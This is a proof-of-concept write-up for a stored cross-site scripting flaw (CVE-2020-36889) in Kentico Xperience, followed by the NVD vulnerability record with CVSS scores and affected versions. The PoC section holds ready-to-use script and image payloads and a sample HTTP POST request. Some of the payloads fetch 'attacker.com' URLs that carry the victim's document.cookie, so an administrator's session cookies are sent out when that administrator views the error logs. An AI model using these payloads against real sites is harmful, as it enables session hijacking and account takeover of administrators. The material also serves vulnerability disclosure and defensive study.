CVE-2020-36889

// CVE-2020-36889 Stored XSS PoC for Kentico Xperience // Author: VulnCheck // Step 1: Create an object with a malicious name in the CMS // Use the following payload as the object name: // <script>alert(document.cookie)</script> // or // <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> // Example using Kentico Xperience API: const payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>'; // Step 2: Trigger an error condition to save the payload in error logs // This can be done by: // - Creating an object with invalid parameters // - Uploading a file with special characters in name // - Performing operations that generate error messages // Step 3: Wait for administrator to view error logs in admin interface // The XSS will execute when the admin views the error message containing the payload // HTTP Request Example: /* POST /CMSPages/DocumentWizard/Doc_Edit.aspx HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded objectName=<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>&action=create */

{"cve": {"id": "CVE-2020-36889", "sourceIdentifier": "[email protected]", "published": "2025-12-18T20:15:49.200", "lastModified": "2025-12-27T17:15:39.957", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting vulnerability in Kentico Xperience allows attackers to inject malicious scripts via error messages containing specially crafted object names. This allows malicious scripts to execute in users' browsers when administrators view error messages in the administration interface."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kentico:xperience:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.0.90", "matchCriteriaId": "4E7A0706-5D45-4961-847B-6F16D4442872"}]}]}], "references": [{"url": "https://devnet.kentico.com/download/hotfixes", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/kentico-xperience-administration-interface-stored-xss", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}